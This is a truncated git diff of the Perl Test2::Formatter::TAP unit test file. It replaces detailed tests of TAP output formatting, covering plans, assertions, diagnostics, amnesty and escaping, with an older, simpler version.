-); - -my $snap = $one->snapshot; -is_deeply($snap, $one, "identical"); -ok($snap != $one, "Not the same instance"); - -ok(!$CLASS->is_list, "is not a list"); -is($CLASS->facet_key, 'trace', "Got key"); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t b/cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t index 6f31c888aea9..2cf92b8270dc 100644 --- a/cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t +++ b/cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t @@ -1,1019 +1,550 @@ use strict; use warnings; -# HARNESS-NO-PRELOAD - -my $CLASS; -my %BEFORE_LOAD; - -BEGIN { - my $old = select STDOUT; - $BEFORE_LOAD{STDOUT} = $|; - select STDERR; - $BEFORE_LOAD{STDERR} = $|; - select $old; - - require Test2::Formatter::TAP; - $CLASS = 'Test2::Formatter::TAP'; - *OUT_STD = $CLASS->can('OUT_STD') or die "Could not get OUT_STD constant"; - *OUT_ERR = $CLASS->can('OUT_ERR') or die "Could not get OUT_ERR constant"; -} +use Test2::Formatter::TAP; +use Test2::API qw/context/; +use PerlIO; use Test2::Tools::Tiny; -use Test2::API qw/context/; BEGIN { - eval { - require PerlIO; - PerlIO->VERSION(1.02); # required for PerlIO::get_layers - } or do { - print "1..0 # SKIP Don't have PerlIO 1.02\n"; - exit 0; - } + *OUT_STD = Test2::Formatter::TAP->can('OUT_STD') or die; + *OUT_ERR = Test2::Formatter::TAP->can('OUT_ERR') or die; } -sub grabber { - my ($std, $err); - open( my $stdh, '>', \$std ) || die "Ooops"; - open( my $errh, '>', \$err ) || die "Ooops"; - - my $it = $CLASS->new( - handles => [$stdh, $errh, $stdh], - ); - - return ($it, \$std, \$err); +use Test2::API; +Test2::API::test2_add_callback_context_release(sub { + my $ctx = shift; + return if $ctx->hub->is_passing; + $ctx->throw("(Die On Fail)"); +}); + +ok(my $one = Test2::Formatter::TAP->new, "Created a new instance"); +my $handles = $one->handles; +is(@$handles, 2, "Got 2 handles"); +ok($handles->[0] != $handles->[1], "First and second handles are not the same"); +my $layers = { map {$_ => 1} PerlIO::get_layers($handles->[0]) }; + +if (${^UNICODE} & 2) { # 2 means STDIN + ok($layers->{utf8}, "'S' is set in PERL_UNICODE, or in -C, honor it, utf8 should be on") +} +else { + ok(!$layers->{utf8}, "Not utf8 by default") } -tests "IO handle stuff" => sub { - ok($CLASS->can($_), "$CLASS has the '$_' method") for qw/no_numbers handles/; - ok($CLASS->isa('Test2::Formatter'), "$CLASS isa Test2::Formatter"); - - ok(!$BEFORE_LOAD{STDOUT}, "AUTOFLUSH was not on for STDOUT before load"); - ok(!$BEFORE_LOAD{STDERR}, "AUTOFLUSH was not on for STDERR before load"); - my $old = select STDOUT; - ok($|, "AUTOFLUSH was turned on for STDOUT"); - select STDERR; - ok($|, "AUTOFLUSH was turned on for STDERR"); - select $old; - - ok(my $one = $CLASS->new, "Created a new instance"); - my $handles = $one->handles; - is(@$handles, 2, "Got 2 handles"); - ok($handles->[0] != $handles->[1], "First and second handles are not the same"); - my $layers = {map { $_ => 1 } PerlIO::get_layers($handles->[0])}; - - if (${^UNICODE} & 2) { # 2 means STDIN - ok($layers->{utf8}, "'S' is set in PERL_UNICODE, or in -C, honor it, utf8 should be on"); - } - else { - ok(!$layers->{utf8}, "Not utf8 by default"); - } - - $one->encoding('utf8'); - is($one->encoding, 'utf8', "Got encoding"); - $handles = $one->handles; - is(@$handles, 2, "Got 2 handles"); - $layers = {map { $_ => 1 } PerlIO::get_layers($handles->[OUT_STD])}; - ok($layers->{utf8}, "Now utf8"); - - my $two = $CLASS->new(encoding => 'utf8'); - $handles = $two->handles; - is(@$handles, 2, "Got 2 handles"); - $layers = {map { $_ => 1 } PerlIO::get_layers($handles->[OUT_STD])}; - ok($layers->{utf8}, "Now utf8"); - - $old = select $handles->[OUT_STD]; - ok($|, "AUTOFLUSH was turned on for copy-STDOUT"); - select select $handles->[OUT_ERR]; - ok($|, "AUTOFLUSH was turned on for copy-STDERR"); - select $old; - - ok($CLASS->hide_buffered, "TAP will hide buffered events"); - ok(!$CLASS->no_subtest_space, "Default formatter does not have subtest space"); -}; - -tests optimal_pass => sub { - my ($it, $out, $err) = grabber(); - - my $fail = Test2::Event::Fail->new; - ok(!$it->print_optimal_pass($fail, 1), "Not gonna print a non-pass"); - - $fail = Test2::Event::Ok->new(pass => 0); - ok(!$it->print_optimal_pass($fail, 1), "Not gonna print a non-pass"); - - my $pass = Test2::Event::Pass->new(); - $pass->add_amnesty({tag => 'foo', details => 'foo'}); - ok(!$it->print_optimal_pass($pass, 1), "Not gonna print amnesty"); - - $pass = Test2::Event::Ok->new(pass => 1, todo => ''); - ok(!$it->print_optimal_pass($pass, 1), "Not gonna print todo (even empty todo)"); - - $pass = Test2::Event::Ok->new(pass => 1, name => "foo # bar"); - ok(!$it->print_optimal_pass($pass, 1), "Not gonna pritn a name with a hash"); - - $pass = Test2::Event::Ok->new(pass => 1, name => "foo \n bar"); - ok(!$it->print_optimal_pass($pass, 1), "Not gonna pritn a name with a newline"); - - ok(!$$out, "No std output yet"); - ok(!$$err, "No err output yet"); +$one->encoding('utf8'); +is($one->encoding, 'utf8', "Got encoding"); +$handles = $one->handles; +is(@$handles, 2, "Got 2 handles"); +$layers = { map {$_ => 1} PerlIO::get_layers($handles->[0]) }; +ok($layers->{utf8}, "Now utf8"); - $pass = Test2::Event::Pass->new(); - ok($it->print_optimal_pass($pass, 1), "Printed a simple pass without a name"); +my $two = Test2::Formatter::TAP->new(encoding => 'utf8'); +$handles = $two->handles; +is(@$handles, 2, "Got 2 handles"); +$layers = { map {$_ => 1} PerlIO::get_layers($handles->[0]) }; +ok($layers->{utf8}, "Now utf8"); - $pass = Test2::Event::Pass->new(name => 'xxx'); - ok($it->print_optimal_pass($pass, 1), "Printed a simple pass with a name"); - $pass = Test2::Event::Ok->new(pass => 1, name => 'xxx'); - ok($it->print_optimal_pass($pass, 1), "Printed an 'Ok' pass with a name"); +{ + package My::Event; - $pass = Test2::Event::Pass->new(name => 'xxx', trace => { nested => 1 }); - ok($it->print_optimal_pass($pass, 1), "Printed a nested pass"); - $pass = Test2::Event::Pass->new(name => 'xxx', trace => { nested => 3 }); - ok($it->print_optimal_pass($pass, 1), "Printed a deeply nested pass"); + use base 'Test2::Event'; + use Test2::Util::HashBase qw{pass name diag note}; - $pass = Test2::Event::Pass->new(name => 'xxx'); - $it->{no_numbers} = 1; - ok($it->print_optimal_pass($pass, 1), "Printed a simple pass with a name"); + Test2::Formatter::TAP->register_event( + __PACKAGE__, + sub { + my $self = shift; + my ($e, $num) = @_; + return ( + [main::OUT_STD, "ok $num - " . $e->name . "\n"], + [main::OUT_ERR, "# " . $e->name . " " . $e->diag . "\n"], + [main::OUT_STD, "# " . $e->name . " " . $e->note . "\n"], + ); + } + ); +} - is($$out, <<" EOT", "Got expected TAP output"); -ok 1 -ok 1 - xxx -ok 1 - xxx - ok 1 - xxx - ok 1 - xxx -ok - xxx - EOT +my ($std, $err); +open( my $stdh, '>', \$std ) || die "Ooops"; +open( my $errh, '>', \$err ) || die "Ooops"; + +my $it = Test2::Formatter::TAP->new( + handles => [$stdh, $errh, $stdh], +); + +$it->write( + My::Event->new( + pass => 1, + name => 'foo', + diag => 'diag', + note => 'note', + trace => 'fake', + ), + 55, +); + +$it->write( + My::Event->new( + pass => 1, + name => 'bar', + diag => 'diag', + note => 'note', + trace => 'fake', + nested => 1, + ), + 1, +); + +is($std, <new; +sub before_each { + # Make sure there is a fresh trace object for each group + $trace = Test2::Util::Trace->new( + frame => ['main_foo', 'foo.t', 42, 'main_foo::flubnarb'], + ); +} - is($it->{_last_fh}, $it->handles->[OUT_STD], "Set the last filehandle"); +tests bail => sub { + my $bail = Test2::Event::Bail->new( + trace => $trace, + reason => 'evil', + ); - ok(!$$err, "No err output"); + is_deeply( + [$fmt->event_tap($bail, 1)], + [[OUT_STD, "Bail out! evil\n" ]], + "Got tap" + ); }; -tests plan_tap => sub { - my ($it, $out, $err) = grabber(); - - is_deeply([$it->plan_tap({})], [], "Nothing with no plan facet"); +tests diag => sub { + my $diag = Test2::Event::Diag->new( + trace => $trace, + message => 'foo', + ); is_deeply( - [$it->plan_tap({plan => { none => 1 }})], - [], - "no-plan has no output" + [$fmt->event_tap($diag, 1)], + [[OUT_ERR, "# foo\n"]], + "Got tap" ); + $diag->set_message("foo\n"); is_deeply( - [$it->plan_tap({plan => { count => 20 }})], - [[OUT_STD, "1..20\n"]], - "Wrote the plan from, count" + [$fmt->event_tap($diag, 1)], + [[OUT_ERR, "# foo\n"]], + "Only 1 newline" ); + $diag->set_message("foo\nbar\nbaz"); is_deeply( - [$it->plan_tap({plan => { count => 'anything', skip => 1 }})], - [[OUT_STD, "1..0 # SKIP\n"]], - "Skip, no reason" + [$fmt->event_tap($diag, 1)], + [[OUT_ERR, "# foo\n# bar\n# baz\n"]], + "All lines have proper prefix" ); +}; - is_deeply( - [$it->plan_tap({plan => { count => 'anything', skip => 1, details => 'I said so' }})], - [[OUT_STD, "1..0 # SKIP I said so\n"]], - "Skip with reason" +tests exception => sub { + my $exception = Test2::Event::Exception->new( + trace => $trace, + error => "evil at lake_of_fire.t line 6\n", ); - ok(!$$out, "No std output yet"); - ok(!$$err, "No err output yet"); + is_deeply( + [$fmt->event_tap($exception, 1)], + [[OUT_ERR, "evil at lake_of_fire.t line 6\n" ]], + "Got tap" + ); }; -tests assert_tap => sub { - my ($it, $out, $err) = grabber(); +tests note => sub { + my $note = Test2::Event::Note->new( + trace => $trace, + message => 'foo', + ); is_deeply( - [$it->assert_tap({assert => {pass => 1}}, 1)], - [[OUT_STD, "ok 1\n"]], - "Pass", + [$fmt->event_tap($note, 1)], + [[OUT_STD, "# foo\n"]], + "Got tap" ); + $note->set_message("foo\n"); is_deeply( - [$it->assert_tap({assert => {pass => 0}}, 1)], - [[OUT_STD, "not ok 1\n"]], - "Fail", + [$fmt->event_tap($note, 1)], + [[OUT_STD, "# foo\n"]], + "Only 1 newline" ); - tests amnesty => sub { - tests pass_no_name => sub { - is_deeply( - [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'skip', details => 'xxx'}]}, 1)], - [[OUT_STD, "ok 1 # skip xxx\n"]], - "Pass with skip (with details)", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'skip'}]}, 1)], - [[OUT_STD, "ok 1 # skip\n"]], - "Pass with skip (without details)", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'TODO', details => 'xxx'}]}, 1)], - [[OUT_STD, "ok 1 # TODO xxx\n"]], - "Pass with TODO (with details)", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'TODO'}]}, 1)], - [[OUT_STD, "ok 1 # TODO\n"]], - "Pass with TODO (without details)", - ); - - is_deeply( - [ - $it->assert_tap( - { - assert => {pass => 1}, - amnesty => [ - {tag => 'TODO', details => 'xxx'}, - {tag => 'skip', details => 'yyy'}, - ] - }, - 1 - ) - ], - [[OUT_STD, "ok 1 # TODO & SKIP yyy\n"]], - "Pass with skip and TODO", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'foo', details => 'xxx'}]}, 1)], - [[OUT_STD, "ok 1 # foo xxx\n"]], - "Pass with other amnesty", - ); - }; - - tests pass_with_name => sub { - is_deeply( - [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'skip', details => 'xxx'}]}, 1)], - [[OUT_STD, "ok 1 - bob # skip xxx\n"]], - "Pass with skip (with details)", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'skip'}]}, 1)], - [[OUT_STD, "ok 1 - bob # skip\n"]], - "Pass with skip (without details)", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'TODO', details => 'xxx'}]}, 1)], - [[OUT_STD, "ok 1 - bob # TODO xxx\n"]], - "Pass with TODO (with details)", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'TODO'}]}, 1)], - [[OUT_STD, "ok 1 - bob # TODO\n"]], - "Pass with TODO (without details)", - ); - - is_deeply( - [ - $it->assert_tap( - { - assert => {pass => 1, details => 'bob'}, - amnesty => [ - {tag => 'TODO', details => 'xxx'}, - {tag => 'skip', details => 'yyy'}, - ] - }, - 1 - ) - ], - [[OUT_STD, "ok 1 - bob # TODO & SKIP yyy\n"]], - "Pass with skip and TODO", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'foo', details => 'xxx'}]}, 1)], - [[OUT_STD, "ok 1 - bob # foo xxx\n"]], - "Pass with other amnesty", - ); - }; - - tests fail_no_name => sub { - is_deeply( - [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'skip', details => 'xxx'}]}, 1)], - [[OUT_STD, "not ok 1 # skip xxx\n"]], - "Pass with skip (with details)", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'skip'}]}, 1)], - [[OUT_STD, "not ok 1 # skip\n"]], - "Pass with skip (without details)", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'TODO', details => 'xxx'}]}, 1)], - [[OUT_STD, "not ok 1 # TODO xxx\n"]], - "Pass with TODO (with details)", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'TODO'}]}, 1)], - [[OUT_STD, "not ok 1 # TODO\n"]], - "Pass with TODO (without details)", - ); - - is_deeply( - [ - $it->assert_tap( - { - assert => {pass => 0}, - amnesty => [ - {tag => 'TODO', details => 'xxx'}, - {tag => 'skip', details => 'yyy'}, - ] - }, - 1 - ) - ], - [[OUT_STD, "not ok 1 # TODO & SKIP yyy\n"]], - "Pass with skip and TODO", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'foo', details => 'xxx'}]}, 1)], - [[OUT_STD, "not ok 1 # foo xxx\n"]], - "Pass with other amnesty", - ); - }; - - tests fail_with_name => sub { - is_deeply( - [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'skip', details => 'xxx'}]}, 1)], - [[OUT_STD, "not ok 1 - bob # skip xxx\n"]], - "Pass with skip (with details)", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'skip'}]}, 1)], - [[OUT_STD, "not ok 1 - bob # skip\n"]], - "Pass with skip (without details)", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'TODO', details => 'xxx'}]}, 1)], - [[OUT_STD, "not ok 1 - bob # TODO xxx\n"]], - "Pass with TODO (with details)", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'TODO'}]}, 1)], - [[OUT_STD, "not ok 1 - bob # TODO\n"]], - "Pass with TODO (without details)", - ); - - is_deeply( - [ - $it->assert_tap( - { - assert => {pass => 0, details => 'bob'}, - amnesty => [ - {tag => 'TODO', details => 'xxx'}, - {tag => 'skip', details => 'yyy'}, - ] - }, - 1 - ) - ], - [[OUT_STD, "not ok 1 - bob # TODO & SKIP yyy\n"]], - "Pass with skip and TODO", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'foo', details => 'xxx'}]}, 1)], - [[OUT_STD, "not ok 1 - bob # foo xxx\n"]], - "Pass with other amnesty", - ); - }; - }; - - tests newline_and_hash => sub { - tests pass => sub { - is_deeply( - [$it->assert_tap({assert => {pass => 1, details => "foo\nbar"}}, 1)], - [ - [OUT_STD, "ok 1 - foo\n"], - [OUT_STD, "# bar\n"], - ], - "Pass with newline", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1, details => "foo\nbar"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)], - [ - [OUT_STD, "ok 1 - foo # baz bat\n"], - [OUT_STD, "# bar\n"], - ], - "Pass with newline and amnesty", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1, details => "foo#bar"}}, 1)], - [[OUT_STD, "ok 1 - foo\\#bar\n"]], - "Pass with hash", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1, details => "foo#bar"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)], - [[OUT_STD, "ok 1 - foo\\#bar # baz bat\n"]], - "Pass with hash and amnesty", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1, details => "foo#x\nbar#boo"}}, 1)], - [ - [OUT_STD, "ok 1 - foo\\#x\n"], - [OUT_STD, "# bar#boo\n"], - ], - "Pass with newline and hash", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 1, details => "foo#x\nbar#boo"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)], - [ - [OUT_STD, "ok 1 - foo\\#x # baz bat\n"], - [OUT_STD, "# bar#boo\n"], - ], - "Pass with newline and hash and amnesty", - ); - }; - - tests fail => sub { - is_deeply( - [$it->assert_tap({assert => {pass => 0, details => "foo\nbar"}}, 1)], - [ - [OUT_STD, "not ok 1 - foo\n"], - [OUT_STD, "# bar\n"], - ], - "Pass with newline", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0, details => "foo\nbar"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)], - [ - [OUT_STD, "not ok 1 - foo # baz bat\n"], - [OUT_STD, "# bar\n"], - ], - "Pass with newline and amnesty", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0, details => "foo#bar"}}, 1)], - [[OUT_STD, "not ok 1 - foo\\#bar\n"]], - "Pass with hash", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0, details => "foo#bar"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)], - [[OUT_STD, "not ok 1 - foo\\#bar # baz bat\n"]], - "Pass with hash and amnesty", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0, details => "foo#x\nbar#boo"}}, 1)], - [ - [OUT_STD, "not ok 1 - foo\\#x\n"], - [OUT_STD, "# bar#boo\n"], - ], - "Pass with newline and hash", - ); - - is_deeply( - [$it->assert_tap({assert => {pass => 0, details => "foo#x\nbar#boo"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)], - [ - [OUT_STD, "not ok 1 - foo\\#x # baz bat\n"], - [OUT_STD, "# bar#boo\n"], - ], - "Pass with newline and hash and amnesty", - ); - }; - }; - - tests parent => sub { - is_deeply( - [ - $it->assert_tap( - { - assert => {pass => 1, details => 'bob'}, - parent => {hid => 1, buffered => 1, children => [{assert => {pass => 1, details => 'bob2'}}]}, - }, - 1 - ) - ], - [ - [OUT_STD, "ok 1 - bob {\n"], - [OUT_STD, " ok 1 - bob2\n"], - [OUT_STD, "}\n"], - ], - "Parent (buffered)", - ); - - is_deeply( - [ - $it->assert_tap( - { - assert => {pass => 1, details => 'bob'}, - parent => {hid => 1, buffered => 0, children => [{assert => {pass => 1, details => 'bob2'}}]}, - }, - 1 - ) - ], - [[OUT_STD, "ok 1 - bob\n"]], - "Parent (un-buffered)", - ); - }; - - ok(!$$out, "No std output yet"); - ok(!$$err, "No err output yet"); + $note->set_message("foo\nbar\nbaz"); + is_deeply( + [$fmt->event_tap($note, 1)], + [[OUT_STD, "# foo\n# bar\n# baz\n"]], + "All lines have proper prefix" + ); }; -tests debug_tap => sub { - my ($it, $out, $err) = grabber(); +tests special_characters => sub { + my $ok = Test2::Event::Ok->new( + trace => $trace, + name => 'nothing special', + pass => 1, + ); is_deeply( - [ - $it->debug_tap( - { - assert => {pass => 0}, - trace => {frame => ['foo', 'foo.t', 42]}, - }, - 1 - ) - ], - [ - [OUT_ERR, "# Failed test at foo.t line 42.\n"], - ], - "debug tap, nameless test" + [$fmt->event_tap($ok, 1)], + [[OUT_STD, "ok 1 - nothing special\n"]], + "Got regular ok" ); - is_deeply( - [ - $it->debug_tap( - { - assert => {details => 'foo bar', pass => 0}, - trace => {frame => ['foo', 'foo.t', 42]}, - }, - 1 - ) - ], - [ - [OUT_ERR, "# Failed test 'foo bar'\n# at foo.t line 42.\n"], - ], - "Debug tap, named test" + $ok = Test2::Event::Ok->new( + trace => $trace, + name => 'just a \\ slash', + pass => 1, ); is_deeply( - [ - $it->debug_tap( - { - assert => {details => 'foo bar', pass => 0}, - trace => {frame => ['foo', 'foo.t', 42], details => 'I say hi!'}, - }, - 1 - ) - ], - [ - [OUT_ERR, "# Failed test 'foo bar'\n# I say hi!\n"], - ], - "Debug tap with details" + [$fmt->event_tap($ok, 1)], + [[OUT_STD, "ok 1 - just a \\ slash\n"]], + "Do not escape slashes without a '#'" + ); + + $ok = Test2::Event::Ok->new( + trace => $trace, + name => 'a \\ slash and a # hash', + pass => 1, ); is_deeply( - [ - $it->debug_tap( - { - assert => {details => 'foo bar', pass => 0}, - }, - 1 - ) - ], - [ - [OUT_ERR, "# Failed test 'foo bar'\n# [No trace info available]\n"], - ], - "Debug tap no trace" + [$fmt->event_tap($ok, 1)], + [[OUT_STD, "ok 1 - a \\\\ slash and a \\# hash\n"]], + "Escape # and any slashes already present" + ); + + $ok = Test2::Event::Ok->new( + trace => $trace, + name => "a \\ slash and a # hash\nand \\ some # newlines\nlike this # \\", + pass => 1, ); is_deeply( + [$fmt->event_tap($ok, 1)], [ - $it->debug_tap( - { - assert => {details => 'foo bar', pass => 0}, - trace => {frame => ['foo', 'foo.t', 42]}, - amnesty => [], - }, - 1 - ) + [OUT_STD, "ok 1 - a \\\\ slash and a \\# hash\n"], + [OUT_STD, "# and \\ some # newlines\n"], + [OUT_STD, "# like this # \\\n"], ], - [ - [OUT_ERR, "# Failed test 'foo bar'\n# at foo.t line 42.\n"], - ], - "Debug empty amnesty" + "Escape # and any slashes already present, and split newlines, do not escape the newlines" + ); + + $ok = Test2::Event::Ok->new( + trace => $trace, + name => "Nothing special until the end \\\nfoo \\ bar", + pass => 1, ); is_deeply( + [$fmt->event_tap($ok, 1)], [ - $it->debug_tap( - { - assert => {details => 'foo bar', pass => 0}, - trace => {frame => ['foo', 'foo.t', 42]}, - amnesty => [{tag => 'TODO', details => 'xxx'}], - }, - 1 - ) - ], - [ - [OUT_STD, "# Failed test (with amnesty) 'foo bar'\n# at foo.t line 42.\n"], + [OUT_STD, "ok 1 - Nothing special until the end \\\\\n"], + [OUT_STD, "# foo \\ bar\n"], ], - "Debug empty amnesty" + "Special case, escape things if last character of the first line is a \\" ); +}; - ok(!$$out, "No std output yet"); - ok(!$$err, "No err output yet"); - - my $event = Test2::Event::Fail->new(trace => {frame => ['foo', 'foo.pl', 42]}); - - { - local $ENV{HARNESS_ACTIVE} = 0; - local $ENV{HARNESS_IS_VERBOSE} = 0; - - $event->{name} = 'no harness'; - $it->write($event, 1); - - $ENV{HARNESS_ACTIVE} = 0; - $ENV{HARNESS_IS_VERBOSE} = 1; - - $event->{name} = 'no harness, but strangely verbose'; - $it->write($event, 1); +for my $pass (1, 0) { + local $ENV{HARNESS_IS_VERBOSE} = 1; + tests name_and_number => sub { + my $ok = Test2::Event::Ok->new(trace => $trace, pass => $pass, name => 'foo'); + my @tap = $fmt->event_tap($ok, 7); + is_deeply( + \@tap, + [ + [OUT_STD, ($pass ? 'ok' : 'not ok') . " 7 - foo\n"], + ], + "Got expected output" + ); + }; - $ENV{HARNESS_ACTIVE} = 1; - $ENV{HARNESS_IS_VERBOSE} = 0; + tests no_number => sub { + my $ok = Test2::Event::Ok->new(trace => $trace, pass => $pass, name => 'foo'); + my @tap = $fmt->event_tap($ok, ); + is_deeply( + \@tap, + [ + [OUT_STD, ($pass ? 'ok' : 'not ok') . " - foo\n"], + ], + "Got expected output" + ); + }; - $event->{name} = 'harness, but not verbose'; - $it->write($event, 1); + tests no_name => sub { + my $ok = Test2::Event::Ok->new(trace => $trace, pass => $pass); + my @tap = $fmt->event_tap($ok, 7); + is_deeply( + \@tap, + [ + [OUT_STD, ($pass ? 'ok' : 'not ok') . " 7\n"], + ], + "Got expected output" + ); + }; - $ENV{HARNESS_ACTIVE} = 1; - $ENV{HARNESS_IS_VERBOSE} = 1; + tests todo => sub { + my $ok = Test2::Event::Ok->new(trace => $trace, pass => $pass); + $ok->set_todo('b'); + my @tap = $fmt->event_tap($ok, 7); + is_deeply( + \@tap, + [ + [OUT_STD, ($pass ? 'ok' : 'not ok') . " 7 # TODO b\n"], + ], + "Got expected output" + ); - $event->{name} = 'harness that is verbose'; - $it->write($event, 1); - } + $ok->set_todo(""); - is($$out, <<" EOT", "Got 4 failures to STDERR"); -not ok 1 - no harness -not ok 1 - no harness, but strangely verbose -not ok 1 - harness, but not verbose -not ok 1 - harness that is verbose - EOT - - is($$err, <<" EOT", "Got expected diag to STDERR, newline for non-verbose harness"); -# Failed test 'no harness' -# at foo.pl line 42. -# Failed test 'no harness, but strangely verbose' -# at foo.pl line 42. - -# Failed test 'harness, but not verbose' -# at foo.pl line 42. -# Failed test 'harness that is verbose' -# at foo.pl line 42. - EOT + @tap = $fmt->event_tap($ok, 7); + is_deeply( + \@tap, + [ + [OUT_STD, ($pass ? 'ok' : 'not ok') . " 7 # TODO\n"], + ], + "Got expected output" + ); + }; }; -tests halt_tap => sub { - my ($it, $out, $err) = grabber(); - - is_deeply( - [$it->halt_tap({trace => {nested => 1},})], - [], - "No output when nested" +tests plan => sub { + my $plan = Test2::Event::Plan->new( + trace => $trace, + max => 100, ); is_deeply( - [$it->halt_tap({trace => {nested => 1, buffered => 1}})], - [[OUT_STD, "Bail out!\n" ]], - "Got tap for nested buffered bail" + [$fmt->event_tap($plan, 1)], + [[OUT_STD, "1..100\n"]], + "Got tap" ); + $plan->set_max(0); + $plan->set_directive('SKIP'); + $plan->set_reason('foo'); is_deeply( - [$it->halt_tap({control => {details => ''}})], - [[OUT_STD, "Bail out!\n"]], - "Empty details" + [$fmt->event_tap($plan, 1)], + [[OUT_STD, "1..0 # SKIP foo\n"]], + "Got tap for skip_all" ); - is_deeply( - [$it->halt_tap({control => {details => undef}})], - [[OUT_STD, "Bail out!\n"]], - "undef details" + $plan = Test2::Event::Plan->new( + trace => $trace, + max => 0, + directive => 'skip_all', ); - is_deeply( - [$it->halt_tap({control => {details => 0}})], - [[OUT_STD, "Bail out! 0\n"]], - "falsy details" + [$fmt->event_tap($plan)], + [[OUT_STD, "1..0 # SKIP\n"]], + "SKIP without reason" ); - is_deeply( - [$it->halt_tap({control => {details => 'foo bar baz'}})], - [[OUT_STD, "Bail out! foo bar baz\n"]], - "full details" + $plan = Test2::Event::Plan->new( + trace => $trace, + max => 0, + directive => 'no_plan', ); - - ok(!$$out, "No std output yet"); - ok(!$$err, "No err output yet"); -}; - -tests summary_tap => sub { - my ($it, $out, $err) = grabber(); - is_deeply( - [$it->summary_tap({about => { no_display => 1, details => "Should not see me"}})], + [$fmt->event_tap($plan)], [], - "no display" + "NO PLAN" ); - is_deeply( - [$it->summary_tap({about => { no_display => 0, details => ""}})], - [], - "no summary" + $plan = Test2::Event::Plan->new( + trace => $trace, + max => 0, + directive => 'skip_all', + reason => "Foo\nBar\nBaz", ); - is_deeply( - [$it->summary_tap({about => { no_display => 0, details => "foo bar"}})], - [[OUT_STD, "# foo bar\n"]], - "summary" - ); - - ok(!$$out, "No std output yet"); - ok(!$$err, "No err output yet"); -}; - -tests info_tap => sub { - my ($it, $out, $err) = grabber(); - - is_deeply( - [ - $it->info_tap( - { - info => [ - {debug => 0, details => "foo"}, - {debug => 1, details => "foo"}, - {debug => 0, details => "foo\nbar\nbaz"}, - {debug => 1, details => "foo\nbar\nbaz"}, - ] - } - ) - ], + [$fmt->event_tap($plan)], [ - [OUT_STD, "# foo\n"], - [OUT_ERR, "# foo\n"], - [OUT_STD, "# foo\n# bar\n# baz\n"], - [OUT_ERR, "# foo\n# bar\n# baz\n"], + [OUT_STD, "1..0 # SKIP Foo\n# Bar\n# Baz\n"], ], - "Got all infos" + "Multi-line reason for skip" ); - - my @TAP = $it->info_tap( - { - info => [ - {debug => 0, details => {structure => 'yes'}}, - {debug => 1, details => {structure => 'yes'}}, - ] - } - ); - - is($TAP[0]->[0], OUT_STD, "First went to STDOUT"); - is($TAP[1]->[0], OUT_ERR, "Second went to STDOUT"); - - like($TAP[0]->[1], qr/structure.*=>.*yes/, "We see the structure in some form"); - like($TAP[1]->[1], qr/structure.*=>.*yes/, "We see the structure in some form"); - - ok(!$$out, "No std output yet"); - ok(!$$err, "No err output yet"); }; -tests error_tap => sub { - my ($it, $out, $err) = grabber(); +tests subtest => sub { + my $st = 'Test2::Event::Subtest'; - # Data::Dumper behavior can change from version to version, specifically - # the Data::Dumper in 5.8.9 produces different whitespace from other - # versions. - require Data::Dumper; - my $dumper = Data::Dumper->new([{structure => 'yes'}])->Indent(2)->Terse(1)->Pad('# ')->Useqq(1)->Sortkeys(1); - chomp(my $struct = $dumper->Dump); + my $one = $st->new( + trace => $trace, + pass => 1, + buffered => 1, + name => 'foo', + subtest_id => '1-1-1', + ); is_deeply( + [$fmt->event_tap($one, 5)], [ - $it->error_tap( - { - errors => [ - {details => "foo"}, - {details => "foo\nbar\nbaz"}, - {details => {structure => 'yes'}}, - ] - } - ) - ], - [ - [OUT_ERR, "# foo\n"], - [OUT_ERR, "# foo\n# bar\n# baz\n"], - [OUT_ERR, "$struct\n"], + [OUT_STD, "ok 5 - foo {\n"], + [OUT_STD, "}\n"], ], - "Got all errors" + "Got Buffered TAP output" ); - ok(!$$out, "No std output yet"); - ok(!$$err, "No err output yet"); -}; - - -tests event_tap => sub { - my ($it, $out, $err) = 